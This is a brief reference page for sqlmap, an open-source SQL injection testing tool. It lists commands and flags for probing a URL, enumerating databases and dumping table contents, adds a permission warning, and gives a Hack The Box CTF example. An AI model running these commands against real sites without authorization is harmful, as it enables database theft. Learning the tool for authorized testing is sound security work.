Skip to content

sqlmap ​

TIP

sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in database systems.

πŸ”— Official Resources ​

πŸš€ Common Commands ​

TaskCommand
Basic SQL injection testsqlmap -u "http://target.com/page.php?id=1"
Specify a POST requestsqlmap -u "http://target.com/page.php" --data="id=1"
Enumerate databasessqlmap -u "http://target.com/page.php?id=1" --dbs
Dump database tablessqlmap -u "http://target.com/page.php?id=1" -D dbname --tables
Dump table datasqlmap -u "http://target.com/page.php?id=1" -D dbname -T tablename --dump

🏷️ Useful Flags ​

FlagDescription
-uTarget URL
--dataData string for POST requests
--cookieUse cookies for authentication
--dbsEnumerate databases
-DSpecify database name
--tablesList tables in a database
-TSpecify table name
--columnsList columns in a table
--dumpDump database/table contents
--batchNon-interactive mode

WARNING

Always have permission before testing a website with sqlmap. Unauthorized testing is illegal and unethical.

πŸ“š Resources ​

πŸ† HTB CTF Go-To Command ​

A common sqlmap command for dumping all databases in HTB CTFs:

bash
sqlmap -u "http://10.10.10.10/index.php?id=1" --batch --dbs
  • -u : Target URL (replace with the actual target IP and parameter)
  • --batch : Non-interactive mode (auto-accepts defaults)
  • --dbs : Enumerate databases